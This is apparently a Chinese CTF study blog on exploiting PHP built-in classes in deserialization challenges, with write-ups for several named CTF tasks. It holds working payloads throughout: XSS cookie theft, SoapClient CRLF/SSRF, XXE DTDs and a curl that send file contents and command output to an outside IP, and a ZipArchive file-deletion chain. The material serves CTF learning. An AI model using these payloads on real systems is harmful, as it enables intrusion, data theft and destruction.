php原生类学习

查看各方法内置类

通过这段代码查看方法的类,这里看到__toString方法对应的Error类

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'    // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
}

image.png

利用Error/Exception内置类进行XSS

Error类

利用条件:
php7以上
开启报错情况下
Error类是php的一个常见类,用于自定义一个Error,当用户输入错误的值,回显Error页面,php7版本会存在类似的XSS漏洞。Error::__toString,Error类存在__toString的方法,该方法进行类当作字符串进行回应,也就是echo $l3ife会显示什么。php对象当作一个字符串输出(echo $l3ife)会触发to_String方法。一般用于反序列化漏洞和XSS漏洞。
本地创建error.php(php版本设置为7.0)

<?php
highlight_file('2.php');
$a = unserialize($_GET['cmd']);
echo $a;
?> 

这段反序列化函数,并不存在自定义类,不可以打反序列化,可以用php反序列化的php内置类
poc:

<?php    
$a=new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);  ?>

image.png

Exception类

利用条件:
php5、php7
开启报错的情况下

<?php
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
$a = unserialize($_GET['cmd']);
echo $a;
?>

poc:

<?php
$a = new Exception("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);  ?>

image.png

[BJDCTF 2nd]xss之光

通过git拿到源码

<?php 
$a = $_GET['yds_is_so_beautiful'];
Echo unserialize($a);

给了GET传参,进行反序列化,不知道怎么自定义类,遇到了反序列化没有POP链的情况。只能通过php内置类进行反序列化,又存在echo,可以用__toString方法返回对象进行反序列化。该题为XSS之光,所以可以通过XSS拿出FLAG。
思路:flag一般在COOKIE的信息里。
poc:

<?php
$poc=new    Exception("<script>alert(document.cookie)</script>");
Echo urlencode(serialize($poc));?>
反弹cookie

将得到的结果传入
/?yds_is_so_beautiful=$POC

利用Error/Exception 内置类绕过哈希比较

测试代码 :

<?php
$a = new Error("payload",1);
echo $a;

发现会以字符串进行输出,包括当前的错误信息payload以及报错的行号2,传入 Error(“payload”,1) 中的错误代码“1”则没有输出出来。

<?php
$a = new Error("payload",1);
$b = new Error("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;

image.png
$a 和 $b 这两个错误对象本身是不同的,但是 __toString 方法返回的结果是相同的。
可以利用这个方法果然哈希比较。

[2020 极客大挑战]Greatphp

考点:php内置绕过哈希比较、php取反绕过

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if(($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}
if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}
?>

要是常见的php题目,可以数组绕过强类型。在这题目中,需要Error类。
主要是绕过这个

if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)))

md5()和sha1()可以对一个类进行hash,并且会触发这个类的 __toString 方法;且当eval()函数传入一个类对象时,也会触发这个类里的 __toString 方法。
我们先来测试一下:
img
注意两个Error要在同一行哦,否则他们报错的输出有行数的不同!
payload:

<?php
class SYCLOVER {
    public $syc;
    public $lover;
}
//$cmd = "flag.php";
//$str = urlencode(~$cmd);  %99%93%9E%98%D1%8F%97%8F
$str = "?><?=include~".urldecode("%99%93%9E%98%D1%8F%97%8F")."?>";
//print $str;
echo "\r\n\r\n";
$c = new SYCLOVER();
$c->syc = new Error($str,1);$c->lover=new Error($str,2);
echo urlencode(serialize($c));
?>

img
这里其实有一个地方要注意:

$str = "?><?=include~".urldecode("%99%93%9E%98%D1%8F%97%8F")."?>";

为什么最前面要加上?>呢
我们还记得Error类返回什么吗?
img
Error是无法直接返回我们所需要的paylaod的,它前面有Error:影响,我们可以用>?去闭合它
最终我们的语句就变为:

eval("Error:?><?=include 'flag.php'?>xxxxxxx")

这样实际上是不影响语句的执行

可遍历目录类

Directorylterator

版本:php5、php7、php8
Filesystemlterator
版本:PHP 5 >= 5.3.0, PHP 7, PHP 8
<?php 
highlight_file(__file__); 
$dir=$_GET['cmd']; 
$a=new DirectoryIterator($dir); 
foreach($a as $f){ 
    echo($f -> __toString()."<br>"); 
     
} 
?> 

img
查看该类,发现__toString()方法
img
img
会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的toString() 方法,输出指定目录里面经过排序之后的第一个文件名 配合glob://协议使用模式匹配来寻找我们想要的文件路径

Filesystemlterator

FilesystemIterator 类与 DirectoryIterator 类相同,提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。
该类的使用方法与DirectoryIterator 类也是基本相同的:(子类与父类的关系)

<?php
$dir=new FilesystemIterator("/");
echo $dir;

img
遍历一下

<?php
$dir=new FilesystemIterator("/");
echo $dir;
foreach($dir as $tmp){
    echo($tmp.'<br>');
    echo "\n";
}

img

SplFileObject

SplFileObject 类和 SplFileinfo为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等
img

    <?php
    $dir=new SplFileObject("flag.php");
    echo $dir;
    ?>

img
对文件中的每一行内容进行遍历:

<?php
$dir = new SplFileObject("flag.php");
foreach($dir as $tmp){
    echo ($tmp.'<br>');
}
?>

img
出题的时候如果看到形如:

    echo new $this->key($this->value);
 
 
    $this -> a = new $this->key($this->value);
    echo $this->a;

只需要让**$this->key值赋为我们想用原生函数,$this->value**赋为路径,查就行了。但是这种构造类型的方法的局限性就是只能查一个路径上的一个文件。

<?php
class HY{
    public $a;
    public $b;
}
$c = new HY();
$c->a="SplFileObject";
$c->b="flag.php";
echo new $c->a($c->b);
?>

img

突破open_basedir的限制

ctfshow web74

<?php
error_reporting(0);
ini_set('display_errors', 0); // 你们在炫技吗?
if(isset($_POST['c'])){
    $c=$_POST['c'];
    eval($c);
    $s=ob_get_contents();
    ob_end_clean();
    echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__); } ?>
?>

首先介绍一下ob_get_contents()和ob_end_clean这两个函数。
缓冲区(Buffer)就是在内存中预留指定大小的存储空间用来对I/O的数据做临时存储,这部分预留的内存空间叫缓冲区。也就是说,在内存空间中预留了一定的存储空间,这些存储空间用来缓冲输入或输出的数据,这部分预留的空间就叫做缓冲区。
缓冲区根据其对应的是输入设备还是输出设备,分为输入缓冲区和输出缓冲区。
ob_get_contents:返回输出缓冲区的内容,只是得到缓冲区的内容,但不清除它。
ob_end_clean:清空(擦除)缓冲区并关闭输出缓冲。
eval执行我们的命令后,输出flag内容,但是输出要经过缓冲区,对输出数据进行缓存,通过ob_get_contents() 原来的数据赋值给了$s,然后又用ob_end_clean将缓冲区清空了,那么eval就没办法输出了(缓冲区都被清空了),所以就只有$s一个输出了。所以这里可以通过exit()或者die() (exit别名)退出,这样的话就没有ob_end_clean这个缓冲区清空操作,输出就能正常输出。
构造payload:

c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} 
exit(0);
?>

然后读取文件

>c=include('/flagx.txt');exit();

利用SoapClient类进行CRLF+SSRF

soapClient:专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。
类介绍:

SoapClient {
    /* 方法 */
    public __construct ( string|null $wsdl , array $options = [] )
    public __call ( string $name , array $args ) : mixed
    public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
    public __getCookies ( ) : array
    public __getFunctions ( ) : array|null
    public __getLastRequest ( ) : string|null
    public __getLastRequestHeaders ( ) : string|null
    public __getLastResponse ( ) : string|null
    public __getLastResponseHeaders ( ) : string|null
    public __getTypes ( ) : array|null
    public __setCookie ( string $name , string|null $value = null ) : void
    public __setLocation ( string $location = "" ) : string|null
    public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
    public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed}

存在_ _call方法,当__call方法被触发,可以发送HTTP和HTTPS请求。使得 SoapClient 类可以被我们运用在 SSRF 中。而__call触发很简单,就是当对象访问不存在的方法的时候就会触发。

函数形式:
    public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数为指明是否为wsdl模式,为null则为非wsdl模式
wsdl,就是一个xml格式的文档,用于描述Web Server的定义
第二个参数为array,wsdl模式下可选;非wsdl模式下,需要设置location和uri,location就是发送SOAP服务器的URL,uri是服务的命名空间

首先测试下正常情况下的SoapClient类,调用一个不存在的函数,会去调用__call方法

<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://108.166.201.16:5555/path'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();

img

CRLF

从上图可以看到,SOAPAction处可控,可以把\x0d\x0a注入到SOAPAction,POST请求的header就可以被控制

<?php
$a = new SoapClient(null,array('uri'=>"bbb\r\n\r\nccc\r\n", 'location'=>'http://127.0.0.1:5555/path'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();

第一个参数是用来指明是否是 wsdl 模式。
第二个参数为一个数组,如果在 wsdl 模式下,此参数可选;如果在非 wsdl 模式下,则必须设置 location 和 uri 选项,其中 location 是要将请求发送到的 SOAP 服务器的 URL,而 uri 是 SOAP 服务的目标命名空间。具体可以设置的参数可见官方文档
img

img

但Content-Type在SOAPAction的上面,就无法控制Content-Typ,也就不能控制POST的数据
在header里User-Agent在Content-Type前面

https://www.php.net/manual/zh/soapclient.soapclient.php :
The user_agent option specifies string to use in User-Agent header.

user_agent同样可以注入CRLF,控制Content-Type的值

<?php
$target = 'http://127.0.0.1:5555/path';
$post_string = 'data=something';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=my_session'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;
$c = unserialize($aaa);
$c->not_exists_function();
?>

img

img

如上,使用SoapClient反序列化+CRLF可以生成任意POST请求
Deserialization + __call + SoapClient + CRLF = SSRF

[N1CTF 2018]easy_harder_php

https://github.com/Nu1LCTF/n1ctf-2018/tree/master/source/web/easy_harder_php
(我这里想复现一下,感觉code那里有问题,无法进行注册和登录操作)
拿到admin密码之后,需要从127.0.0.1登陆,用到SSRF,通过注入a`, {serialize object});#引发反序列化漏洞
img
反序列化后的SoapClient对象去调用不存在的getcountry方法,调用__call,实现SSRF
控制PHPSESSID为自己的session,SSRF来进行admin登陆

<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=cf44f3147ab331af7d66943d888c86f9';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>

再使用上面的PHPSESSID访问,就是admin了

[SUCTF 2019]Upload Labs 2

img
这里只允许本地访问,我们要进行ssrf
构造exp:

<?php
class File{
    public $file_name;
    public $func = "SoapClient";
    function __construct($file_name){
        $this->file_name = $file_name;
    }
}
$target = 'http://127.0.0.1/admin.php';
$post_string = 'admin=1&cmd=curl "http://108.166.201.16:888"."?`/readflag`"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
);
$f = [null, array('location' => $target,'user_agent'=>urldecode(str_replace('^^','%0d%0a','wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string)),'uri'=> "user")];

@unlink("phar.phar");

$phar = new Phar("sakura.phar"); //后缀名必须为phar

$phar->startBuffering(); //开始缓冲 Phar 写操作

$phar->setStub('<script language="php"> __HALT_COMPILER();</script>'); //设置stub

$o = new File($f);

$phar->setMetadata($o); //将自定义的meta-data存入manifest

$phar->addFromString("test.txt", "test"); //添加要压缩的文件

//签名自动计算

$phar->stopBuffering();

?>

详细过程可查看:https://www.yuque.com/docs/share/ad3f54ca-b95b-4aa9-add6-e6e8e82be57c?# 《web刷题》

利用ReflectionMethod读取User类的方法

ReflectionMethod类

ReflectionMethod的类报告了方法的相关信息
版本:(PHP 5, PHP 7, PHP 8)

ReflectionClass API

$ref = new ReflectionClass(B::class);

//print_r(ReflectionClass::export(demo::class));
print_r($ref->getProperties()); // 获取一级属性, 可以传参数过滤, 返回ReflectionProperty 对象的数组。
var_dump($ref->getConstructor()); // 获取构造函数, 未定义返回null
var_dump($ref->inNamespace()); // 是否在命名空间中
var_dump($ref->getConstants()); // 获取所有定义的常量
var_dump($ref->getConstant('TEST_1')); // 获取某个常量
print_r($ref->getDefaultProperties()); // 获取默认属性, 返回数组, 包括父类的属性
var_dump($ref->getDocComment()); // 获取类文档注释, 不包含属性和方法的注释, 无注释返回false
var_dump($ref->getExtension()); // 获取获取最后一行的行数
var_dump($ref->getFileName()); // 获取定义类的文件名, 返回绝对路径
var_dump($ref->getInterfaceNames()); // 获取接口名称, 返回索引数组,值为接口名称, 未实现接口返回空数组
var_dump($ref->getInterfaces()); // 获取接口, 返回关联数组, name=>ReflectionClass实例, 未实现接口返回空数组
var_dump($ref->getMethods()); // 指获取类方法 ReflectionMethod。
var_dump($ref->getMethod('foo4')); // 获取一个类方法的 ReflectionMethod。如果方法不存在会抛出异常, 需要配合try catch一起用
var_dump($ref->getName()); // 获取类名, 包含命名空间
var_dump($ref->getNamespaceName()); // 获取命名空间的名称, 没有返回空
var_dump($ref->getParentClass()); // 获取父类reflectionClass的实例, 没有父类返回false
var_dump($ref->getProperty('prop3')); // 获取一个属性, 返回ReflectionProperty实例, 属性不存在会抛出异常, 需配合try catch使用
var_dump($ref->getShortName()); // 获取类名, 不包含命名空间
var_dump($ref->getStartLine()); // 获取起始行号
print_r($ref->getStaticProperties()); // 获取静态属性
print_r($ref->getStaticPropertyValue('prop_static')); // 获取静态属性值, 未定义的属性会报致命错误
print_r($ref->getTraitAliases()); // 返回 trait 别名的一个数组
print_r($ref->getTraitNames()); // 返回 trait 别名的一个数组
print_r($ref->getTraits()); // 返回这个类所使用的 traits 数组
var_dump($ref->hasConstant('AB')); // 检查常量是否已经定义
var_dump($ref->hasMethod('AB')); // 检查方法是否已经定义
var_dump($ref->hasProperty('AB')); // 检查属性是否已定义
var_dump($ref->implementsInterface('reflection\Abc')); // 检查是否实现了某个接口, 注意需要带上命名空间
var_dump($ref->isAbstract()); // 检查类是否是抽象类(abstract)
var_dump($ref->isAnonymous()); // 检查类是否是匿名类
var_dump($ref->isCloneable()); // 返回了一个类是否可复制
var_dump($ref->isFinal()); // 检查类是否声明为 final
var_dump($ref->isInstance($obj)); // 检查一个变量是否此类的实例
var_dump($ref->isInstantiable()); // 检查类是否可实例化
var_dump($ref->isInterface()); // 检查类是否是一个接口(interface)
var_dump($ref->isInternal()); // 检查类是否由扩展或核心在内部定义, 和isUserDefined相对
var_dump($ref->isIterateable()); // 检查此类是否可迭代, 实现了Iterator接口即可迭代
var_dump($ref->isSubclassOf(A::class)); // 是否是某一个类的子类
var_dump($ref->isTrait()); // 返回了是否为一个 trait
var_dump($ref->isUserDefined()); // 检查是否由用户定义的类 和isInternal相对

// 从指定的参数创建一个新的类实例,创建类的新的实例。给出的参数将会传递到类的构造函数。
// 接受可变数目的参数,用于传递到类的构造函数,和 call_user_func() 很相似。
var_dump($ref->newInstance());
// 从指定的参数创建一个新的类实例,创建类的新的实例。给出的参数将会传递到类的构造函数。
//这个参数以 array 形式传递到类的构造函数。
var_dump($ref->newInstanceArgs([]));
var_dump($ref->newInstanceWithoutConstructor()); // 创建一个新的实例而不调用他的构造函数
$ref->setStaticPropertyValue ('prop_static', '222'); // 设置静态属性的值, 无返回值
var_dump($ref->__toString ()); // 返回 ReflectionClass 对象字符串的表示形式。
### ReflectionMethod API
```php
/*
ReflectionMethod::__construct — ReflectionMethod 的构造函数
ReflectionMethod::export — 输出一个回调方法
ReflectionMethod::getClosure — 返回一个动态建立的方法调用接口,译者注:可以使用这个返回值直接调用非公开方法。
ReflectionMethod::getDeclaringClass — 获取被反射的方法所在类的反射实例
ReflectionMethod::getModifiers — 获取方法的修饰符
ReflectionMethod::getPrototype — 返回方法原型 (如果存在)
ReflectionMethod::invoke — Invoke
ReflectionMethod::invokeArgs — 带参数执行
ReflectionMethod::isAbstract — 判断方法是否是抽象方法
ReflectionMethod::isConstructor — 判断方法是否是构造方法
ReflectionMethod::isDestructor — 判断方法是否是析构方法
ReflectionMethod::isFinal — 判断方法是否定义 final
ReflectionMethod::isPrivate — 判断方法是否是私有方法
ReflectionMethod::isProtected — 判断方法是否是保护方法 (protected)
ReflectionMethod::isPublic — 判断方法是否是公开方法
ReflectionMethod::isStatic — 判断方法是否是静态方法
ReflectionMethod::setAccessible — 设置方法是否访问
ReflectionMethod::__toString — 返回反射方法对象的字符串表达
*/
ReflectionMethod extends ReflectionFunctionAbstract implements Reflector {
/* 常量 */
const integer IS_STATIC = 1 ;
const integer IS_PUBLIC = 256 ;
const integer IS_PROTECTED = 512 ;
const integer IS_PRIVATE = 1024 ;
const integer IS_ABSTRACT = 2 ;
const integer IS_FINAL = 4 ;
/* 属性 */
public $name ;
public $class ;
/* 方法 */
public __construct ( mixed $class , string $name )
public static export ( string $class , string $name [, bool $return = false ] ) : string
public getClosure ( object $object ) : Closure
public getDeclaringClass ( ) : ReflectionClass
public getModifiers ( ) : int
public getPrototype ( ) : ReflectionMethod
public invoke ( object $object [, mixed $parameter [, mixed $... ]] ) : mixed
public invokeArgs ( object $object , array $args ) : mixed
public isAbstract ( ) : bool
public isConstructor ( ) : bool
public isDestructor ( ) : bool
public isFinal ( ) : bool
public isPrivate ( ) : bool
public isProtected ( ) : bool
public isPublic ( ) : bool
public isStatic ( ) : bool
public setAccessible ( bool $accessible ) : void
public __toString ( ) : string
/* 继承的方法 */
final private ReflectionFunctionAbstract::__clone ( ) : void
public ReflectionFunctionAbstract::getClosureScopeClass ( ) : ReflectionClass
public ReflectionFunctionAbstract::getClosureThis ( ) : object
public ReflectionFunctionAbstract::getDocComment ( ) : string
public ReflectionFunctionAbstract::getEndLine ( ) : int
public ReflectionFunctionAbstract::getExtension ( ) : ReflectionExtension
public ReflectionFunctionAbstract::getExtensionName ( ) : string
public ReflectionFunctionAbstract::getFileName ( ) : string
public ReflectionFunctionAbstract::getName ( ) : string
public ReflectionFunctionAbstract::getNamespaceName ( ) : string
public ReflectionFunctionAbstract::getNumberOfParameters ( ) : int
public ReflectionFunctionAbstract::getNumberOfRequiredParameters ( ) : int
public ReflectionFunctionAbstract::getParameters ( ) : array
public ReflectionFunctionAbstract::getReturnType ( ) : ReflectionType
public ReflectionFunctionAbstract::getShortName ( ) : string
public ReflectionFunctionAbstract::getStartLine ( ) : int
public ReflectionFunctionAbstract::getStaticVariables ( ) : array
public ReflectionFunctionAbstract::hasReturnType ( ) : bool
public ReflectionFunctionAbstract::inNamespace ( ) : bool
public ReflectionFunctionAbstract::isClosure ( ) : bool
public ReflectionFunctionAbstract::isDeprecated ( ) : bool
public ReflectionFunctionAbstract::isGenerator ( ) : bool
public ReflectionFunctionAbstract::isInternal ( ) : bool
public ReflectionFunctionAbstract::isUserDefined ( ) : bool
public ReflectionFunctionAbstract::isVariadic ( ) : bool
public ReflectionFunctionAbstract::returnsReference ( ) : bool
abstract public ReflectionFunctionAbstract::__toString ( ) : void
}

[第十四届全国信息安全竞赛]easy_resource

目录扫描可获得源码:

<?php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

    function i()
    {
        return ++self::$c;
    }

    function j()
    {
        return ++self::$c;
    }

    function k()
    {
        return ++self::$c;
    }

    function l()
    {
        return ++self::$c;
    }

    function m()
    {
        return ++self::$c;
    }

    function n()
    {
        return ++self::$c;
    }

    function o()
    {
        return ++self::$c;
    }

    function p()
    {
        return ++self::$c;
    }

    function q()
    {
        return ++self::$c;
    }

    function r()
    {
        return ++self::$c;
    }

    function s()
    {
        return ++self::$c;
    }

    function t()
    {
        return ++self::$c;
    }

}



$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());

可利用原生的反射类进行读取,题目说在看不到的地方,猜测是在注释的地方
可构造payload:

?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment

翻译一下就是:

$method = new ReflectionMethod(User,a);
var_dump($method->getDocComment); //getDocComment获取文档注释

由于不知道是在哪个方法内,所以可以进行遍历
img

使用 SimpleXMLElement 类进行 XXE

SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。

SimpleXMLElement 类

官方文档中对于SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct 的定义如下:
img
img
可以看到通过设置第三个参数 data_is_url 为 true,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。
这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE。

[SUCTF 2018]Homework

随便注册一个账户发现如下源码
img

<?php 
class calc{
    function __construct__(){
        calc();
    }

    function calc($args1,$method,$args2){
        $args1=intval($args1);
        $args2=intval($args2);
        switch ($method) {
            case 'a':
                $method="+";
                break;

            case 'b':
                $method="-";
                break;

            case 'c':
                $method="*";
                break;

            case 'd':
                $method="/";
                break;
            
            default:
                die("invalid input");
        }
        $Expression=$args1.$method.$args2;
        eval("\$r=$Expression;");
        die("Calculation results:".$r);
    }
}
?>        

img
我们可以利用SimpleXMLElement类
我们构造的xml如下:
test.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://108.166.201.16:8000/evil.dtd">
%int;
%all;
%send;
]>

evil.dtd

<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://108.166.201.16:5555/?%payl;'>">

在vps上放上这两个文件
img
然后再使用vps监听5555端口
最终构造payload

http://16c35a6e-0285-4dc1-9c3d-2acf598489fc.node4.buuoj.cn:81/show.php?module=SimpleXMLElement&args[]=http://108.166.201.16:8000/test.xml&args[]=2&args[]=true

我们可以看到接受到了数据,base64解码即可
img
同理可获得其他页面源码

使用 ZipArchive 类来删除文件

ZipArchive 类

PHP ZipArchive类是PHP的一个原生类,它是在PHP 5.20之后引入的。ZipArchive类可以对文件进行压缩与解压缩处理。
下面列举几个常见的类方法:

我们来重点看看 ZipArchive::open 方法:

ZipArchive::open(string $filename, int $flags=0)

该方法用来打开一个新的或现有的zip存档以进行读取,写入或修改。

  • filename:要打开的ZIP存档的文件名。
  • flags:用于打开档案的模式。有以下几种模式:
    • ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。
    • ZipArchive::CREATE:如果不存在则创建一个zip压缩包。
    • ZipArchive::RDONLY:只读模式打开压缩包。
    • ZipArchive::EXCL:如果压缩包已经存在,则出错。
    • ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。

注意,如果设置flags参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也可以直接将flags赋值为8。
也就是说我们可以利用ZipArchive原生类调用open方法删除目标主机上的文件。下面我们来看一道CTF题目。

梦里花开牡丹亭

源码下载:https://raw.githubusercontent.com/fghcvjk/NepCTF-2021/master/%E6%A2%A6%E9%87%8C%E8%8A%B1%E5%BC%80%E7%89%A1%E4%B8%B9%E4%BA%AD.zip

<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;
    
    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}
class login{
    public $file;
    public $filename;
    public $content;

    public function __construct($file,$filename,$content)
    {
        $this->file=$file;
        $this->filename=$filename;
        $this->content=$content;
    }
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            $this->file->open($this->filename,$this->content);
            die('login success you can to open shell file!');
        }
    }
}
class register{
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            die('success register admin');
        }else{
            die('please register admin ');
        }
    }
}
class Open{
    function open($filename, $content){
        if(!file_get_contents('waf.txt')){
            shell($content);
        }else{
            echo file_get_contents($filename.".php");
        }
    }
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
    @unserialize(base64_decode($_POST['unser']));
}

img
这里反序列化前有个校验,直接使用数组绕过

http://127.0.0.1/test/?a[]=1&b[]=2

读取下shell.php的内容
构造payload:

<?php
class Open{
}
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;

    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}
$a = new Game();
$a->username = 'admin';
$a->password = 'admin';
$a->register = 'admin';
$a->file='123';
$a->content = 'whoami';
$a->filename = 'php://filter/read=convert.base64-encode/resource=shell';
$a->file = new Open();
echo base64_encode(serialize($a));

解码得到shell.php的源码:

<?php
function shell($cmd){
    if(strlen($cmd)<10){
        if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
            die("NO");
        }else{
            return system($cmd);
        }
    }else{
        die('so long!'); 
    }
}

shell.php可以执行系统命令
但是如果要执行shell.php
img
必须不存在这个文件,那么我们就要想办法把它删除
我们必须要使用原生类,这个原生类还必须是open方法可以删除文件
遍历一下:

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            'open'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
}

img
ZipArchive刚好有个open方法可以满足,上文已经介绍过了
img
传入8相当于重写文件
最终构造poc:

<?php
class Open{
}
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;

    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}
$a = new Game();
$a->username = 'admin';
$a->password = 'admin';
$a->register = 'admin';
$a->file='123';
$a->content = 8;
$a->filename = 'waf.txt';
$a->file = new ZipArchive();
echo base64_encode(serialize($a));
Tzo0OiJHYW1lIjo3OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6ImFkbWluIjtzOjY6ImNob2ljZSI7TjtzOjg6InJlZ2lzdGVyIjtzOjU6ImFkbWluIjtzOjQ6ImZpbGUiO086MTA6IlppcEFyY2hpdmUiOjU6e3M6Njoic3RhdHVzIjtpOjA7czo5OiJzdGF0dXNTeXMiO2k6MDtzOjg6Im51bUZpbGVzIjtpOjA7czo4OiJmaWxlbmFtZSI7czowOiIiO3M6NzoiY29tbWVudCI7czowOiIiO31zOjg6ImZpbGVuYW1lIjtzOjc6IndhZi50eHQiO3M6NzoiY29udGVudCI7aTo4O30=

传入后waf.txt就被删除,我这里是本地搭建的环境所以直接可以看到
img
接下来构造poc执行命令即可:

<?php
class Open{
}
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;

    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
